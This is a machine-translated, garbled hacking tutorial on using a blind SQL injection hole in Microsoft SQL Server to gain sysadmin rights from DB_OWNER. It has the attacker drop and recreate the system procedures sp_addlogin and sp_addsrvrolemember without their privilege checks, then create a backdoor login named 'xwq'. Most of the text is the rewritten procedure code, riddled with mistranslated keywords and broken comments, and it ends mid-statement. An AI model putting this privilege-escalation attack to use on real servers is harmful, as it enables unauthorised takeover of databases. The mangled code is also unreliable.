I don't know if you have seen this article, you can add a sysadmin account under the DB_OWNER role. This strikes, the server where the MSSQL injection vulnerability has to be blind. The method mainly uses DB_OWNER to modify the two stored procedures of sp_addlogin and sp_addsrvrolemember, and spanded the verification section.
Specific methods are as follows: First Input drop procedure sp_addlogin, and then enter the create procedure sp_addlogin @loginame sysname in IE, @ passwd sysname = Null, @ defdb;; sysname = 'master' - UNDONE: DEFAULT CONFIGURABLE ???, @ deflanguage sysname = Null, @ sid varbinary (16) = null, @ encryptopt varchar (20) = NULLAS - SETUP Runtime Options / Declare Variables - Set NoCount On Declare @ret Int - Return Value of SP Call - Disallow User Transaction - set Implicit_Transactions Offix Raiserror (15002, -1, -1, 'sp_addlogin') Return (1) End - Validate Login Name As: - (1) Valid SQL Name (SQL Login ) - (2) No backslash - (3) Not a reserved login name execute @ret = sp_validname @Loginame if (@ret <> 0) Return (1) IF (Charindex ('/', @Loginame)> 0) Begin Raiserror (15006, -1, -1, @ loginame) Return (1) end - note: Different Case Sa is allowed. if (@loginame = 'sa' or lower (@loginame) in ('PUBLIC ')) Begin Raiserror (15405, -1, -1, @loginame) Return (1) end - login name must not already exist - if exists (Select * from master.dbo.syslogins where loginname = @loginame) Begin Raiserror (15025, -1, -1, @ loginame) Return (1) end - validate default database - if DB_ID (@DEFDB) IS NULL BEGIN RAISERROR (15010, -1, -1, @ DEFDB) RETURN (1 ) END - VALIDATE DEFAULT LANGUAGE - IF (@deflanguage is not null) begin execute @ret = sp_validlang @deflanguage if (@RET <> 0) Return (1) end else begin select @deflanguage =
name from master.dbo.syslanguages where langid = @@ default_langid --server default language if @deflanguage is null select @deflanguage = N'us_english 'end - VALIDATE SID IF GIVEN - if ((@sid IS NOT Null) and (DATALENGTH <> 16)) Begin Raiserror (15419, -1, -1) RETURN (1) end else if @SID is null select @sid = newid () f (SUSER_SNAME (@SID) IS Not NULL Begin Raiserror (15433, -1, -1) RETURN (1) end - validate and use encryption option - Declare @xstatus smallint select @xstatus = 2 - access if @Encryptopt is null select @passwd = pwdePt (@ passwd) else if @encryptopt = 'skip_encryption_old' begin select @xstatus = @xstatus | 0x800, - old-style encryption @passwd = convert (sysname, convert (varbinary (30), convert (varchar (30), @passwd) )) END ELSE IF @ENCRYPTOPT <> 'Skip_Encryption' Begin Raiserror (15600, -1, -1, 'sp_addlogin') Return 1 End - Attempt The Insert of the New Login - Insert Into Master.dbo.sysxlogins Values Null, @SID, @XSTATUS, GETDATE (), Getdate (), @loginame, convert (Varbinary (256), @passwd, db_id (@defdb), @Deflanguage) IF @@ error <> 0 - this INDICES WE SAW DUPLICATE ROW RETURN (1) - UPDATE PROTECTION TOMESTAMP for Master DB, To Indicate Syslogins Change - EXEC ('Use Master Grant All to Null') - Finalization: Return Success / Failure - Raiserror (15298, -1, -1) RETURN (0) - sp_addlogingook, We newly built a user exec master..sp_addlogin xwq again Drop Procedure SP_ADDSRVROLEMEMEMEMEMBER, then enter Create Procedure SP_ADDSRVROLEMEMBER @ in IE
loginame sysname, - login name @rolename sysname = NULL - server role nameas - SETUP RUNTIME OPTIONS / DECLARE VARIABLES - set nocount on declare @ret int, - return value of sp call @rolebit smallint, @ismem int - - Disallow User Transaction - Set Implicit_Transactions Offix IF (@@Trancount> 0) Begin Raiserror (15002, -1, -1, 'sp_addsrvrolemember') Return (1) end - cannot Change Sa Roles - IF @loginame = ' Sa 'Begin Raiserror (15405, -1, -1, @Loginame) Return (1) end - obtain the bit for this role - select @Rolebit = Case @roleName when' sysadmin 'Then 16 When' securityadmin 'Then 32 When 'serveadmin' TEN 64 WHEN 'setUpadmin' Ten 128 when 'processadmin' Ten 251 When 'Diskadmin' Ten 512 When 'dbcreator' TEN 1024 WHEN 'BULKADMIN' THEN 4096 Else Null End - ADD ROW FOR NT LOGIN IF NEEDED - if not exists (select * from master.dbo.syslogins where loginname = @loginame) begin execute @ret = sp_MSaddlogin_implicit_ntlogin @loginame if (@ret <> 0) begin raiserror (15007, -1, -1, @ loginame) RETURN (1) end end - update role membship - update master.dbo.sysxlogins set xstatus = xstatus | @Rolebit, xdate2 = getdate () where name = @loginame and srvid is Null - Update Protection TimeStamp for Master DB, TO INDICATE SYSLOGINS CHANGE - EXEC ('
